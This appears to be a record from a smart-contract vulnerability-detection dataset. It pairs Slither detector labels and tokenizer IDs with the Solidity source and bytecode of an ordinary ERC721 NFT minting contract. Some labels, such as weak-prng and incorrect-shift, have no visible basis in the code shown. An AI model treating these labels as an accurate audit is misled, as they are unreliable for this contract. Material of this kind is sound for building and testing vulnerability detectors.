{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 21472, 16068, 2692, 12879, 10322, 2497, 2575, 2683, 22025, 21472, 2683, 2050, 2692, 2683, 2497, 2683, 21619, 2620, 2497, 2692, 2575, 2581, 2575, 11387, 2581, 2620, 12521, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,579
0x9704cdfc6d9b4872bc63f8c7a85754bcc4399af9
// SPDX-License-Identifier: None pragma solidity ^0.8.0; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract GiantWienersNFT is ERC721, Ownable { using SafeMath for uint256; using Address for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; string private baseURI; string public baseExtension = ".json"; uint256 public constant supplyLimit = 4444; uint256 public constant mintPrice = 0.0125 ether; bool public mintOpen = false; constructor(string memory name, string memory symbol) ERC721(name, symbol) { _tokenSupply.increment(); } function mint(uint numberOfMints) public payable { uint256 supply = _tokenSupply.current(); require(mintOpen, "Sale needs to be active"); require(numberOfMints > 0 && numberOfMints < 11, "Invalid purchase amount"); require(supply.add(numberOfMints) <= supplyLimit, "Payment exceeds total supply"); require(msg.value >= mintPrice.mul(numberOfMints), "Incorrect Eth amount"); for(uint256 i = 1; i <= numberOfMints; i++){ _safeMint(msg.sender, supply + i); _tokenSupply.increment(); } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, Strings.toString(tokenId), baseExtension)) : ""; } function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string calldata newBaseUri) external onlyOwner { baseURI = newBaseUri; } function toggleSale() public onlyOwner { mintOpen = !mintOpen; } function returnCounter() external view returns(uint256){ return _tokenSupply.current(); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override { ERC721.safeTransferFrom(from, to, tokenId, data); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x6080604052600436106101665760003560e01c806370a08231116100d1578063a22cb4651161008a578063c87b56dd11610064578063c87b56dd146104e3578063e985e9c514610520578063ea601ce01461055d578063f2fde38b1461058857610166565b8063a22cb46514610466578063b88d4fde1461048f578063c6682862146104b857610166565b806370a0823114610389578063715018a6146103c65780637d8966e4146103dd5780638da5cb5b146103f457806395d89b411461041f578063a0712d681461044a57610166565b806324bbd0491161012357806324bbd0491461028d5780633ccfd60b146102b857806342842e0e146102cf57806355f804b3146102f85780636352211e146103215780636817c76c1461035e57610166565b806301ffc9a71461016b57806306fdde03146101a8578063081812fc146101d3578063095ea7b31461021057806319d1997a1461023957806323b872dd14610264575b600080fd5b34801561017757600080fd5b50610192600480360381019061018d9190612448565b6105b1565b60405161019f91906129bf565b60405180910390f35b3480156101b457600080fd5b506101bd610693565b6040516101ca91906129da565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f591906124ef565b610725565b6040516102079190612958565b60405180910390f35b34801561021c57600080fd5b5061023760048036038101906102329190612408565b6107aa565b005b34801561024557600080fd5b5061024e6108c2565b60405161025b9190612c7c565b60405180910390f35b34801561027057600080fd5b5061028b600480360381019061028691906122f2565b6108c8565b005b34801561029957600080fd5b506102a2610928565b6040516102af91906129bf565b60405180910390f35b3480156102c457600080fd5b506102cd61093b565b005b3480156102db57600080fd5b506102f660048036038101906102f191906122f2565b610a06565b005b34801561030457600080fd5b5061031f600480360381019061031a91906124a2565b610a26565b005b34801561032d57600080fd5b50610348600480360381019061034391906124ef565b610ab8565b6040516103559190612958565b60405180910390f35b34801561036a57600080fd5b50610373610b6a565b6040516103809190612c7c565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190612285565b610b75565b6040516103bd9190612c7c565b60405180910390f35b3480156103d257600080fd5b506103db610c2d565b005b3480156103e957600080fd5b506103f2610cb5565b005b34801561040057600080fd5b50610409610d5d565b6040516104169190612958565b60405180910390f35b34801561042b57600080fd5b50610434610d87565b60405161044191906129da565b60405180910390f35b610464600480360381019061045f91906124ef565b610e19565b005b34801561047257600080fd5b5061048d600480360381019061048891906123c8565b610fbd565b005b3480